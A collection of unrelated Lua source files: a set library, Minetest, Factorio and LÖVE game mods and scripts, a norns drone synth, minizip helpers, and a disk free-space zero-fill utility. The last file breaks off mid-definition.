end
return table.concat({'{', '}'}, table.concat(t, ', '))
end
---
-- Frozen Sets are just sets whose `add`, `remove`, and `clear` methods raise
-- an error. They can be populated when they are created but cannot be changed
-- thereafter (through their interface at any rate). The prototype of
-- `FrozenSet` is `Set`, so, otherwise, they behave in the same way as Sets.
--
-- @type FrozenSet
FrozenSet = {}
FrozenSet.mt = {}
-- That I have to do this is a design flaw in Lua.
for k, v in pairs(Set.mt) do FrozenSet.mt[k] = v end
FrozenSet.mt.__index = FrozenSet
--- Creates a new instance of a set prototype, typically `FrozenSet`.
--
-- Note: You cannot create instances of `FrozenSet` using `Set.new`.
--
-- @tparam[opt] table elems Members for the new set.
--
-- @return An instance of the given `prototype` for sets,
-- populated with `members`, if any were given.
--
-- @usage
-- > FrozenSet:new{1, 2, 3}
-- {1, 2, 3}
-- > FrozenSet{1, 2, 3}
-- {1, 2, 3}
function FrozenSet:new (elems)
self = self or FrozenSet
local set = Set:new(elems)
return setmetatable(set, self.mt)
end
--- Tests whether the set is frozen.
--
-- @treturn boolean `true`.
--
-- @usage
-- > a = FrozenSet()
-- > a:isfrozen()
-- true
function FrozenSet:isfrozen ()
return true
end
---
-- Blocks accidential modifications of the set.
--
-- @raise An error whenever it's invoked.
function FrozenSet.add ()
error(MODFROZENERR, 2)
end
---
-- Blocks accidential modifications of the set.
--
-- @raise An error whenever it's invoked.
function FrozenSet.remove ()
error(MODFROZENERR, 2)
end
---
-- Blocks accidential modifications of the set.
--
-- @raise An error whenever it's invoked.
function FrozenSet.clear ()
error(MODFROZENERR, 2)
end
--- Does nothing.
--
-- @treturn FrozenSet The frozen set.
--
-- @usage
-- > a = FrozenSet()
-- > a:freeze()
-- {}
function FrozenSet:freeze ()
return self
end
--- Make the set mutable.
--
-- @treturn Set The unfrozen set.
--
-- @usage
-- > a = FrozenSet()
-- > a:add{0}
-- set is frozen.
-- [...]
-- > a:unfreeze()
-- {}
-- > a:add{0}
-- > a
-- {0}
function FrozenSet:unfreeze ()
return setmetatable(self, Set.mt)
end
-- This must be done after the functions have been added.
-- Once `Set` is the metatable of `FrozenSet`,
-- its members can no longer be changed.
setmetatable(FrozenSet, Set.mt)
--- Set arithmetics
-- @section arithmetics
--- Tests whether two or more sets are disjoint.
--
-- @tparam {Set,...} sets A list of sets to compare.
--
-- @treturn boolean Whether the given sets are disjoint.
--
-- @usage
-- > a = Set{1}
-- > b = Set{1, 2}
-- > c = Set{2}
-- > d = Set{3}
-- > properset.aredisjoint{a, b, c}
-- false
-- > properset.aredisjoint{a, c, d}
-- true
function aredisjoint (sets)
local int = intersection
for i = 1, #sets do
for j = i + 1, #sets do
local s = int{sets[i], sets[j]}
if #s ~= 0 then return false end
end
end
return true
end
--- The complement of two sets A and B.
--
-- `complement(a, b)` and `a - b` are equivalent.
--
-- @tparam Set a Set A.
-- @tparam Set b Set B.
--
-- @treturn Set The complement of A and B.
--
-- @usage
-- > a = Set{1, 2}
-- > b = Set{2}
-- > properset.complement(a, b)
-- {1}
function complement (a, b)
assert(isset(a))
assert(isset(b))
local has = b.has
local uad = uncheckedadd
local res = a:new()
local f = res:isfrozen()
if f then res:unfreeze() end
local n = 1
for v in a:members() do
-- @todo Test if it's faster without passing n around.
if not has(b, v) then n = uad(res, v, n) end
end
if f then res:freeze() end
return res
end
--- The union of two or more sets.
--
-- `a:union(b)` and `a + b` are equivalent.
--
-- @tparam {Set,...} sets A list of sets of which to form a union.
--
-- @treturn Set The union of the given sets.
--
-- @usage
-- > a = Set{1}
-- > b = Set{2}
-- > c = Set{3}
-- > properset.union{a, b, c}
-- {1, 2, 3}
function union (sets)
if #sets < 1 then error(string.format(TOOFEWARGSERR, 'union', 1), 2) end
local ass = function (x) assert(isset(x)) end
ass(sets[1])
local res = copy(sets[1])
local f = res:isfrozen()
if f then res:unfreeze() end
local add = res.add
local n = #sets
for i = 2, n do
ass(sets[i])
add(res, sets[i])
end
if f then res:freeze() end
return res
end
--- The intersection of two or more sets.
--
-- @tparam {Set,...} sets A list of sets to intersect.
--
-- @treturn Set The intersection of the given sets.
--
-- @usage
-- > a = Set{1}
-- > b = Set{1,2}
-- > c = Set{2}
-- > d = Set{1,3}
-- > properset.intersection{a, b, c}
-- {}
-- > properset.intersection{a, b, d}
-- {1}
function intersection (sets)
if #sets < 1 then error(string.format(TOOFEWARGSERR, 'union', 1), 2) end
local ass = function (x) assert(isset(x)) end
local n = #sets
if n == 1 then
return sets[1]
elseif n > 1 then
ass(sets[1])
local f = sets[1]:isfrozen()
local res
local acc = sets[1]
for i = 2, n do
ass(sets[i])
res = sets[1]:new()
if f then res:unfreeze() end
for v in acc:members() do
-- @todo Check if properset.add would work.
if sets[i]:has(v) then res:add{v} end
acc = res
end
if #acc == 0 then break end
end
if f then res:freeze() end
return res
end
end
--- The symmetric difference of two or more sets.
--
-- The symmetric difference, Δ, of three sets *A*, *B*, and *C* is defined as:
-- (*A* Δ *B*) Δ *C*, that is, as 'repetition' over a series, *not* as
-- (*A* ∪ *B* ∪ *C*) \ (*A* ∩ *B* ∩ *C*), that is, as the complement of the
-- union of *A*, *B*, and *C* and the intersection of *A*, *B*, and *C*.
-- Make sure you understand the example below. (A friendly reminder for us
-- non-mathematicians and non-computer science people.)
--
-- @tparam {Set,...} sets A list of sets to calculate the difference of.
--
-- @treturn Set The symmetric difference of the given sets.
--
-- @usage
-- > a = Set{1, 2}
-- > b = Set{1, 3}
-- > c = Set{1, 2, 3, 4}
-- > properset.difference{a, b, c}
-- {1, 4}
function difference (sets)
if #sets < 1 then error(string.format(TOOFEWARGSERR, 'union', 1), 2) end
local ass = function (x) assert(isset(x)) end
local com = complement
local uni = union
local int = intersection
local res = sets[1]:new()
local f = res:isfrozen()
if f then res:unfreeze() end
for i = 1, #sets do
ass(sets[i])
res = com(uni{res, sets[i]}, int{res, sets[i]})
end
if f then res:freeze() end
return res
end
--- Utility functions
-- @section function
--- Tests whether an object behaves like a Set.
--
-- That is, tests:
--
-- 1. whether an object's metatable has all fields defined in `Set.mt`;
-- 2. whether an object has all fields defined in `Set`.
--
-- Note: Does *not* test whether those fields refer to functions.
--
-- An object whose metatable provides all methods defined in `Set.mt`
-- and that itself provides all methods defined in `Set` is said to
-- implement the "Set protocol".
--
-- @param obj An object.
--
-- @treturn boolean Whether `obj` implements the Set protocol.
-- @treturn string If it doesn't implement the Set protocol, an error message.
--
-- @usage
-- > a = Set()
-- > properset.isset(a)
-- true
-- > b = "I may be many things, but a Set I'm not."
-- > properset.isset(b)
-- false expected a Set, got a string.
function isset (obj)
local rawequal = rawequal
local t = type(obj)
if t == 'table' then
local mt = getmetatable(obj)
if mt == nil then return false end
for k in pairs(Set.mt) do if mt[k] == nil then return false end end
local req = rawequal
for k in pairs(Set) do if req(obj[k], nil) then return false end end
return true
end
return false, string.format(NOTASETERR, t)
end
--- Calculates the rank of an object.
--
-- Ranks:
-- 0 = non-set objects,
-- 1 = sets that don't contain sets,
-- 2 = sets that (also) contain sets, but only of rank 1,
-- 3 = sets that (also) contain sets of rank 2,
-- 4 = ...
--
-- @param obj An object.
--
-- @treturn number The rank of `obj`.
--
-- @usage
-- > s = "I'm nobody."
-- > properset.rank(s)
-- 0
-- > a = Set()
-- > properset.rank(a)
-- 1
-- > b = Set{Set{Set{Set{}}, Set{}, 1}, 2}
-- > properset.rank(b)
-- 4
function rank (obj, s)
local isset = isset
if not isset(obj) then return 0 end
s = s or {}
local rank = rank
local res = 1
for v in obj:members() do
if isset(v) then
if s[v] then return huge end
s[v] = true
local r = rank(v, s) + 1
if r > res then res = r end
end
end
return res
end
--- Copies a table recursively.
--
-- Handles metatables, recursive structures, tables as keys, and
-- avoids the `__pairs` and `__newindex` metamethods.
-- Copies are deep.
--
-- @param obj Object or value of an arbitrary type.
--
-- @return A copy of `obj`.
--
-- @usage
-- > a = {1, 2, 3}
-- > b = {a, 4}
-- > r = properset.copy(b)
-- > table.insert(a, 4)
-- > table.unpack(r[1])
-- 1 2 3
function copy (obj, s)
-- Borrows from:
-- * <https://gist.github.com/tylerneylon/81333721109155b2d244>
-- * <http://lua-users.org/wiki/CopyTable>
if type(obj) ~= 'table' then return obj end
if s and s[obj] then return s[obj] end
local copy = copy
local res = setmetatable({}, getmetatable(obj))
s = s or {}
s[obj] = res
for k, v in next, obj, nil do
rawset(res, copy(k, s), copy(v, s))
end
return res
end
--- Constants
-- @section constants
--- The empty set.
--
-- @field emptyset The empty set (`FrozenSet:new()`).
emptyset = FrozenSet:new()
--- If this flag is passed to `Set:id`, the set's ID is returned as a number.
--
-- Only used by `Set:id`.
ASNUM = 1
--- If this flag is passed to `Set:members`,
-- the members returned are removed from the set.
--
-- Only used by `Set:members`.
POPOFF = 1
--- If this flag is passed to a method that understands it,
-- sets are processed recursively.
--
-- Currently used by:
--
-- * `Set:ofrank`
-- * `Set:map`
-- * `Set:filter`
-- * `Set:totable`
-- * `Set:unpack`
-- * `Set:sorted`
RECURSIVE = 1
-- Backplate
-- =========
return properset
|
nssm:register_mob("nssm:sandworm", "Sandworm", {
type = "monster",
hp_max = 40,
hp_min = 25,
collisionbox = {-0.4, -0.2, -0.4, 0.4, 1.90, 0.4},
visual = "mesh",
mesh = "sandworm.x",
textures = {{"sandworm.png"}},
visual_size = {x=4, y=4},
makes_footstep_sound = false,
view_range = 17,
rotate = 270,
reach = 2,
fear_height = 3,
walk_velocity = 2,
run_velocity = 2,
damage = 6,
sounds = {
random = "sandworm",
distance = 40,
},
jump = false,
drops = {
{name = "nssm:worm_flesh",
chance = 2,
min = 1,
max = 3,},
{name = "nssm:sandworm_skin",
chance = 2,
min = 1,
max = 3,},
{name = "nssm:life_energy",
chance = 1,
min = 2,
max = 3,},
},
armor = 60,
drawtype = "front",
water_damage = 5,
lava_damage = 10,
light_damage = 0,
group_attack=true,
attack_animals=true,
knock_back=2,
blood_texture="nssm_blood_blue.png",
stepheight=1.1,
on_rightclick = nil,
attack_type = "dogfight",
animation = {
speed_normal = 25,
speed_run = 40,
stand_start = 1,
stand_end = 100,
walk_start = 110,
walk_end = 140,
run_start = 110,
run_end = 140,
punch_start = 150,
punch_end = 180,
},
do_custom = function(self)
digging_attack(self, "sand", self.run_velocity, {x=0, y=3, z=0})
end,
})
|
require("vehicle")
require("universe")
local logger = require("logger")
require("toml")
local pitch = 0.0
local yaw = 0.0
local roll = 0.0
local engines = nil
function init()
engines = load_engines(machine.init_toml)
end
local function in_axis(axis, value)
if axis == "Pitch" then
pitch = value
elseif axis == "Yaw" then
yaw = value
elseif axis == "Roll" then
roll = value
end
-- This guarantees zero latency if all inputs are set from
-- pre_update (this happens for player input)
if machine:all_inputs_ready() then
write_to_engines()
end
end
function define_ports()
machine:add_input_port("Pitch", "number", in_axis)
machine:add_input_port("Yaw", "number", in_axis)
machine:add_input_port("Roll", "number", in_axis)
end
-- Quite complex, we "simulate" the effect each engine has on the
-- vessel, if it's wanted we turn on that engine, otherwise we turn if off
local function write_to_engines()
end
local function load_engines(toml)
local list = toml:get_array_of_string("engines")
local engines = {}
for idx, v in ipairs(list) do
engines[idx] = part:get_machine(v)
end
logger.info("RCS controller received ".. #engines .. " engines")
return engines
end
|
{{"Hips", {"__userdata", "vector3", -0.000244, -0.060314, 0.003814, }, }, {"RightUpLeg", {"__userdata", "vector3", 0.002881, -0.211344, 0.001913, }, }, {"RightLeg", {"__userdata", "vector3", 0.008425, -0.188373, -0.021467, }, }, {"RightFoot", {"__userdata", "vector3", -0.000749, -0.029563, 0.048132, }, }, {"RightToes", {"__userdata", "vector3", -0.007235, -8.7e-05, 0.070481, }, }, {"Spine", {"__userdata", "vector3", -0.008618, -0.031984, 0.00686, }, }, {"Spine1", {"__userdata", "vector3", 0.004937, -0.129067, 0.077826, }, }, {"Head", {"__userdata", "vector3", 0.01202, 0.085678, 0.053559, }, }, {"LeftShoulder1", {"__userdata", "vector3", 0.060991, -0.029946, 0.029316, }, }, {"LeftArm", {"__userdata", "vector3", 0.116556, 0.001123, 0.003814, }, }, {"LeftForeArm", {"__userdata", "vector3", 0.099311, 0.008032, 0.0034, }, }, {"LeftHand", {"__userdata", "vector3", 0.06788, -0.039495, 0.009888, }, }, {"RightShoulder", {"__userdata", "vector3", -0.02579, -0.001782, 0.036333, }, }, {"RightArm", {"__userdata", "vector3", -0.118744, 0.002292, 0.01021, }, }, {"RightForeArm", {"__userdata", "vector3", -0.096655, 0.005835, 0.006209, }, }, {"RightHand", {"__userdata", "vector3", -0.065284, -0.024643, 0.013689, }, }, {"LeftUpLeg", {"__userdata", "vector3", 0.006689, -0.208797, 0.007255, }, }, {"LeftLeg", {"__userdata", "vector3", -0.002981, -0.194488, -0.011943, }, }, {"LeftFoot", {"__userdata", "vector3", -0.00543, -0.02507, 0.047357, }, }, {"LeftToes", {"__userdata", "vector3", -0.009991, 0.005819, 0.066822, }, }, }
|
function onCreate()
-- Whitback
makeAnimatedLuaSprite('stage','BallisticBackground', -470, -160)
addAnimationByPrefix('stage','BallisticBackgroundGo','Background Whitty Startup',24,false);
addAnimationByPrefix('stage','BallisticBackgroundStart','Background Whitty Start0',24,true);
addAnimationByPrefix('stage','BallisticBackground','Background Whitty Moving',24,true);
objectPlayAnimation('stage','BallisticBackground',false);
addLuaSprite('stage', false);
makeLuaSprite('eff','thefunnyeffect', 0, 0)
setGraphicSize('eff',1280,720)
setObjectCamera('eff','camHud')
updateHitbox('eff')
setBlendMode('eff','multiply')
addLuaSprite('eff', false);
end
function onUpdatePost()
if flashingLights then
setProperty('eff.alpha',getProperty('health')/1.5)
end
end
|
-- Fills free disk space with zeroes.
local partition = "/dev/sda1" -- partition to check free space on
local f = "./zfs_fill.dat" -- temporary file name
os.execute("df \"" .. partition .. "\" > \"".. f .. "\"")
local df = io.open(f, "r")
::no_temp_file::
if df == nil then
print("\nCan not open file \"".. f .. "\".\n")
os.exit()
end
local f4k
for l in df:lines() do
if string.sub(l, 1, #partition) == partition then
local wn = 0
for w in string.gmatch(string.sub(l, #partition + 1, -1), "[0-9]+") do
wn = wn + 1
if wn == 3 then -- free 1-k blocks
f4k = math.floor(w / 4)
break
end
end
break
end
end
df:close()
print(string.format('\nCleaning %1.3f megabytes.\n', f4k / 256))
df = io.open(f, "w")
if df == nil then goto no_temp_file end
local w4k = string.rep(string.char(0), 4096)
for i = 1, f4k do
df:write(w4k)
print(string.format('\027[1A\027[K\027[1000D%1.3f%%.', i / f4k * 100))
end
df:close()
os.remove(f)
print("Finished.\n")
|
Locales['es'] = {
['shop'] = 'Tienda',
['shops'] = 'Tiendas',
['press_menu'] = 'Presiona ~INPUT_CONTEXT~ para acceder a la tienda.',
['bought'] = 'Has comprado ~b~1 ',
['not_enough'] = 'No tienes ~r~suficiente ~s~ dinero.',
}
|
-- Copyright 2016 krunkathos
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
local enemies = {}
enemies.objects = {}
enemies.images = {}
enemies.display_all = false
function enemies.collideEnemy(x1, y1, w1, h1, e)
local w2 = enemies.images[e.enemytype][e.image_count]:getWidth()
local h2 = enemies.images[e.enemytype][e.image_count]:getHeight()
return x1 < e.x+w2 and
e.x < x1+w1 and
y1 < (e.y-h2)+h2 and
(e.y-h2) < y1+h1
end
function enemies.checkEnemyCollision(x1, y1, w1, h1)
for o = 1, #enemies.objects do
local e = enemies.objects[o]
if e.appeardelay >= e.appeardelay_count and enemies.collideEnemy(x1, y1, w1, h1, e) then return true end
end
return false
end
function enemies.load()
local arrow = {}
table.insert(arrow, love.graphics.newImage("gfx/enemies/arrow-1.png"))
table.insert(arrow, love.graphics.newImage("gfx/enemies/arrow-2.png"))
table.insert(arrow, love.graphics.newImage("gfx/enemies/arrow-3.png"))
table.insert(arrow, love.graphics.newImage("gfx/enemies/arrow-2.png"))
table.insert(enemies.images, arrow)
local polearm = {}
table.insert(polearm, love.graphics.newImage("gfx/enemies/polearm-1.png"))
table.insert(polearm, love.graphics.newImage("gfx/enemies/polearm-1.png"))
table.insert(polearm, love.graphics.newImage("gfx/enemies/polearm-2.png"))
table.insert(enemies.images, polearm)
local soldier = {}
table.insert(soldier, love.graphics.newImage("gfx/enemies/soldier.png"))
table.insert(enemies.images, soldier)
local polearm2 = {}
table.insert(polearm2, love.graphics.newImage("gfx/enemies/polearm-1.png"))
table.insert(enemies.images, polearm2)
end
function enemies.init()
enemies.objects = {}
end
function enemies.create(enemytype, x, y, dx, dy, appeardelay, animdelay)
local e = {}
e.enemytype = enemytype
e.startx = x
e.starty = y
e.x = x
e.y = y
e.dx = dx
e.dy = dy
e.appeardelay = 0
e.appeardelay_count = appeardelay
e.image_count = 1
e.image_animcount = 0
e.image_animdelay = animdelay
if dx < 0 then e.image_flip = -1 else e.image_flip = 1 end
table.insert(enemies.objects, e)
end
function enemies.update(dt)
for i = 1, #enemies.objects do
local e = enemies.objects[i]
if e.appeardelay >= e.appeardelay_count then
e.x = e.x + e.dx * (dt*60)
e.y = e.y + e.dy * (dt*60)
if (e.x > 304 or e.x < 0) or (e.y < 24 or e.y > 240) then
e.x = e.startx
e.y = e.starty
e.appeardelay = 0
end
e.image_animcount = e.image_animcount + dt
if e.image_animcount > e.image_animdelay then
e.image_animcount = 0
e.image_count = e.image_count + 1
if e.image_count > #enemies.images[e.enemytype] then e.image_count = 1 end
end
else
e.appeardelay = e.appeardelay + dt
end
end
end
function enemies.draw()
local offx
love.graphics.setColor( 255, 255, 255 )
for i = 1, #enemies.objects do
local e = enemies.objects[i]
if e.appeardelay >= e.appeardelay_count or enemies.display_all then
local image = enemies.images[e.enemytype][e.image_count]
if e.image_flip == -1 then offx = math.floor(image:getWidth()) else offx = 0 end
love.graphics.draw(image, math.floor(e.x)+offx, math.floor(e.y)-image:getHeight(), 0, e.image_flip, 1, 0)
end
end
end
return enemies
|
local Game = require "me.strangepan.games.mazerino.common.Game"
local assert_that = require "me.strangepan.libs.truth.v1.assert_that"
local ConnectionManager = require "me.strangepan.games.mazerino.common.networking.ConnectionManager"
local NetworkedEntityManager = require "me.strangepan.games.mazerino.common.networking.NetworkedEntityManager"
local class = require "me.strangepan.libs.util.v1.class"
local EventType = require "me.strangepan.libs.secretary.v1.EventType"
local NetworkGame = class.build(Game)
function NetworkGame:_init(secretary, connectionManager, entityManager)
Game._init(self, secretary)
self.connections = assert_that(connectionManager):is_instance_of(ConnectionManager):and_return()
self.entities = assert_that(entityManager):is_instance_of(NetworkedEntityManager):and_return()
end
function NetworkGame:start()
Game.start(self)
local secretary = self:getSecretary()
local connections = self:getConnectionManager()
local entities = self:getEntityManager()
-- Hook up entity manager to secretary
entities:registerWithSecretary(secretary)
-- Hook up connection manager to secretary.
secretary:registerEventListener(
connections,
connections.receiveAllMessages,
EventType.PRE_STEP)
secretary:registerEventListener(
connections,
connections.terminateAllConnections,
EventType.SHUTDOWN)
return self
end
function NetworkGame:stop()
local entities = self:getEntityManager()
local connections = self:getConnectionManager()
entities:destroy()
connections:destroy()
return Game.stop(self)
end
function NetworkGame:getConnectionManager()
return self.connections
end
function NetworkGame:getEntityManager()
return self.entities
end
return NetworkGame
|
local type = type
local tonumber = tonumber
local print = print
local os_time = os.time
local os_date = os.date
local format = string.format
local band = bit.band
local rshift = bit.rshift
local ffi = require 'ffi'
local MZ = ...
local C = ffi.C
-- @param cdata.zip_fileinfo zi
-- XXX 该结构与旧版不同,因此实现较C模块版简单
-- @param number|table ts_or_date 时间戳或日期table
local function set_file_time(zi, ts_or_date)
local ts, tm
ts = tonumber(ts_or_date) or os_time(ts_or_date) or os_time()
ts = ffi.new('const time_t[1]', ts)
tm = ffi.new('struct tm[1]')
C.localtime_r(ts, tm)
zi.dos_date = MZ.tm_to_dosdate(tm)
end
-- @param cdata.unz_file_info file_info
-- @return string mtime
-- @return string dos_date
local function get_file_time(file_info)
local mtime, dos_date
local tm = ffi.new('struct tm')
if MZ.dosdate_to_tm(file_info.dos_date, tm) < 0 then
throw('Invalid dos_date')
end
--[[
tm.year = tm.year - 1900
dos_date = tonumber(C.mktime(tm))
tm.year = tm.year + 1900
-- XXX 时区缩写: ffi.string(tm.zone)
-- XXX 时区偏移(秒): tm.gmtoff
--]]
-- mtime = os_date('%Y-%m-%d %H:%M:%S', dos_date)
-- dos_date = ffi.string(C.ctime(ffi.new('uint64_t[1]', dos_date)))
-- dos_date = os_date('%a %b %d %H:%M:%S %Y\n', dos_date)
mtime = format('%u-%02u-%02u %02u:%02u:%02u',
tm.year,
tm.month + 1,
tm.day,
tm.hour,
tm.min,
tm.sec)
return mtime, dos_date
end
local function debug_info(z)
print(format('tell: %d\n', tonumber(MZ.unzTell(z.zf))))
end
return {
set_file_time = set_file_time,
get_file_time = get_file_time,
debug_info = debug_info,
}
|
local modpath = minetest.get_modpath("main")
dofile(modpath.."/nodes.lua")
dofile(modpath.."/craftitems.lua")
dofile(modpath.."/mapgen.lua")
dofile(modpath.."/tools.lua")
minetest.register_on_joinplayer(function(player)
player:hud_set_hotbar_image("gui_hotbar.png")
player:hud_set_hotbar_selected_image("gui_hotbar_selected.png")
end)
|
-- Diese Datei wird beim starten des Spiels als drittes und letztes geladen. Hier ändert man Mods ab
if mods["AtomicArtillery"] then --definiert ob die Mod AtomicArtillery aktiviert ist und ändert dann die Nuklear Artillery ab
local sounds = require("__base__.prototypes.entity.demo-sounds")
require("__AtomicArtillery__.prototypes.entity.projectiles")
data.raw["artillery-projectile"]["atomic-artillery-projectile"].action =
{
type = "direct",
action_delivery =
{
type = "instant",
target_effects =
{
--Damage effects
{
type = "nested-result",
action =
{
radius = 35, --same size as the shockwave to follow, needed to get auto-targeting to space shots correctly. Switched to fire because the thermal pulse is also a thing on nukes.
--Finally, by having this here, you get the radar update with everything dying like you expect with a nuke.
type = "area",
action_delivery = {
type = "instant",
target_effects = {
{
type = "damage",
damage = { amount = 1500, type = "fire" },
},
},
},
},
},
{
type = "destroy-cliffs",
radius = 9,
explosion = "explosion"
},
{
type = "nested-result",
action =
{
type = "area",
target_entities = false,
trigger_from_target = true,
repeat_count = 1000,
radius = 35,
action_delivery =
{
type = "projectile",
projectile = "atomic-bomb-wave",
starting_speed = 0.5 * 0.7,
starting_speed_deviation = nuke_shockwave_starting_speed_deviation,
}
}
},
{
type = "nested-result",
action =
{
type = "area",
target_entities = false,
trigger_from_target = true,
repeat_count = 1000,
radius = 7,
action_delivery =
{
type = "projectile",
projectile = "atomic-bomb-ground-zero-projectile",
starting_speed = 0.6 * 0.8,
starting_speed_deviation = nuke_shockwave_starting_speed_deviation,
}
}
},
--Sound effects
{
type = "play-sound",
sound = sounds.nuclear_explosion_aftershock(0.4),
play_on_target_position = false,
-- min_distance = 200,
max_distance = 1000,
-- volume_modifier = 1,
audible_distance_modifier = 3
},
{
type = "play-sound",
sound = sounds.nuclear_explosion(0.9),
play_on_target_position = false,
-- min_distance = 200,
max_distance = 1000,
-- volume_modifier = 1,
audible_distance_modifier = 3
},
--Graphical effects
{
type = "create-entity",
entity_name = "nuke-explosion"
},
{
type = "camera-effect",
effect = "screen-burn",
duration = 60,
ease_in_duration = 5,
ease_out_duration = 60,
delay = 0,
strength = 6,
full_strength_max_distance = 200,
max_distance = 800
},
{
type = "invoke-tile-trigger",
repeat_count = 1,
},
{
type = "destroy-decoratives",
include_soft_decoratives = true, -- soft decoratives are decoratives with grows_through_rail_path = true
include_decals = true,
invoke_decorative_trigger = true,
decoratives_with_trigger_only = false, -- if true, destroys only decoratives that have trigger_effect set
radius = 14 -- large radius for demostrative purposes
},
{
type = "nested-result",
action =
{
type = "area",
show_in_tooltip = false,
target_entities = false,
trigger_from_target = true,
repeat_count = 1000,
radius = 26,
action_delivery =
{
type = "projectile",
projectile = "atomic-bomb-wave-spawns-cluster-nuke-explosion",
starting_speed = 0.5 * 0.7,
starting_speed_deviation = nuke_shockwave_starting_speed_deviation,
}
}
},
{
type = "nested-result",
action =
{
type = "area",
show_in_tooltip = false,
target_entities = false,
trigger_from_target = true,
repeat_count = 700,
radius = 4,
action_delivery =
{
type = "projectile",
projectile = "atomic-bomb-wave-spawns-fire-smoke-explosion",
starting_speed = 0.5 * 0.65,
starting_speed_deviation = nuke_shockwave_starting_speed_deviation,
}
}
},
{
type = "nested-result",
action =
{
type = "area",
show_in_tooltip = false,
target_entities = false,
trigger_from_target = true,
repeat_count = 1000,
radius = 8,
action_delivery =
{
type = "projectile",
projectile = "atomic-bomb-wave-spawns-nuke-shockwave-explosion",
starting_speed = 0.5 * 0.65,
starting_speed_deviation = nuke_shockwave_starting_speed_deviation,
}
}
},
{
type = "nested-result",
action =
{
type = "area",
show_in_tooltip = false,
target_entities = false,
trigger_from_target = true,
repeat_count = 300,
radius = 26,
action_delivery =
{
type = "projectile",
projectile = "atomic-bomb-wave-spawns-nuclear-smoke",
starting_speed = 0.5 * 0.65,
starting_speed_deviation = nuke_shockwave_starting_speed_deviation,
}
}
},
{
type = "nested-result",
action =
{
type = "area",
show_in_tooltip = false,
target_entities = false,
trigger_from_target = true,
repeat_count = 10,
radius = 8,
action_delivery =
{
type = "instant",
target_effects =
{
{
type = "create-entity",
entity_name = "nuclear-smouldering-smoke-source",
tile_collision_mask = { "water-tile" }
}
}
}
}
}
}
}
}
end
|
-- droning
--
-- play a drone!
-- we will define the engine
-- "engine" is a special variable
-- engine.name="X" will look for Engine_X.scd in all the folders
engine.name="Droning" -- this will look for Engine_Droning.scd
-- we will import the "musicutil" library
-- https://monome.org/docs/norns/api/modules/lib.MusicUtil.html
-- useful for converting midi to note names
musicutil=require "musicutil"
-- this is a variable we will use
-- to keep track if a drone is playing or not
play_sound=false
-- we will define the "init()" function,
-- a special function that runs when the script starts
function init()
engine.amp(0) -- default is off
-- lets add some parameters
params:add{type="control",id="amp",name="amp",
-- controlspec is the control
-- this one goes from 0-1, linearly, default is 0.5 and the
-- step size is 0.01 and it shows the word "amp" next to it
controlspec=controlspec.new(0,1.0,'lin',0,0.5,'amp',0.01/0.5),
action=function(v)
print("new amp: "..v)
if play_sound then
engine.amp(v) -- engine.amp comes from the Engine_Droning
end
end
}
params:add{type="control",id="midi",name="midi",
controlspec=controlspec.new(0,100,'lin',0,60,'',1/100),
action=function(v)
print("new midi note: "..v)
engine.note(v) -- engine.note comes from the Engine_Droning
end
}
-- this block of code looks at the connected
-- midi devices (midi.devices) and connects to all of them
for _,dev in pairs(midi.devices) do
print("connected to "..dev.name)
m=midi.connect(dev.port)
-- m.event is a special function that runs on incoming midi msgs
m.event=function(data)
local d=midi.to_msg(data)
if d.type=="note_on" then
engine.note(d.note)
end
end
end
-- update drawing
clock.run(redrawer)
end
-- key(<key>,<off/on>) is a special function
-- that listens to the norns keys
function key(k,z)
if z==1 then
play_sound=not play_sound
if play_sound then
print("playing sound!")
engine.amp(params:get("amp"))
else
print("stopping sound!")
engine.amp(0)
end
end
end
-- enc(<knob>,<turn>) is a special function
-- that listens to the turn of the knob
function enc(k,d)
if k==2 then
params:delta("midi",d)
elseif k==3 then
params:delta("amp",d)
elseif k==1 then
-- TODO: add your own modulation
end
end
-- redraw is a special function that will
-- draw stuff on the screen
function redraw()
-- https://monome.org/docs/norns/api/modules/screen.html
screen.clear()
screen.level(15)
screen.font_size(8)
screen.move(64,20)
if play_sound then
screen.text_center("press any key to stop")
else
screen.text_center("press any key to drone")
end
screen.move(64,30)
screen.text_center("note: "..musicutil.note_num_to_name(math.floor(params:get("midi")),true))
screen.move(64,40)
screen.text_center("amp: "..params:get("amp"))
screen.update()
end
--
-- my functions
--
-- redrawer simply constantly redraws the screen
function redrawer()
while true do
clock.sleep(1/15)
redraw()
end
end
|
--
-- created with TexturePacker (http://www.codeandweb.com/texturepacker)
--
-- $TexturePacker:SmartUpdate:d833aa572faaf89b7a2c32008b6199c0:175ddf34b7043fb629e19a554f892254:51eadd9eb612090d216e3ba3d4272adf$
--
-- local sheetInfo = require("mysheet")
-- local myImageSheet = graphics.newImageSheet( "mysheet.png", sheetInfo:getSheet() )
-- local sprite = display.newSprite( myImageSheet , {frames={sheetInfo:getFrameIndex("sprite")}} )
--
local SheetInfo = {}
SheetInfo.sheet =
{
frames = {
{
-- bouncy
x=0,
y=90,
width=162,
height=162,
},
{
-- paddle
x=0,
y=0,
width=216,
height=90,
},
},
sheetContentWidth = 216,
sheetContentHeight = 252
}
SheetInfo.frameIndex =
{
["bouncy"] = 1,
["paddle"] = 2,
}
function SheetInfo:getSheet()
return self.sheet;
end
function SheetInfo:getFrameIndex(name)
return self.frameIndex[name];
end
return SheetInfo
|
local table = require('__stdlib__/stdlib/utils/table')
local equipment = {}
for _, v in pairs(data.raw['night-vision-equipment']) do
local t = table.deepcopy(v)
-- Keep the same localised name if none is specified
t.localised_name = {'disabled-equipment.disabled', t.localised_name or {'equipment-name.' .. t.name}}
-- Some mods don't specify take_result making it default to the equipment name.
-- If we don't set it the game is going to look for an item with the wrong name.
t.take_result = t.take_result or t.name
t.name = 'picker-disabled-' .. t.name
t.energy_input = '0kW'
equipment[#equipment + 1] = t
end
for _, v in pairs(data.raw['active-defense-equipment']) do
if v.automatic then
local t = table.deepcopy(v)
-- Keep the same localised name if none is specified
t.localised_name = {'disabled-equipment.disabled', t.localised_name or {'equipment-name.' .. t.name}}
-- Some mods don't specify take_result making it default to the equipment name.
-- If we don't set it the game is going to look for an item with the wrong name.
t.take_result = t.take_result or t.name
t.energy_source.type = 'void'
t.name = 'picker-disabled-' .. t.name
t.energy_consumption = '1W'
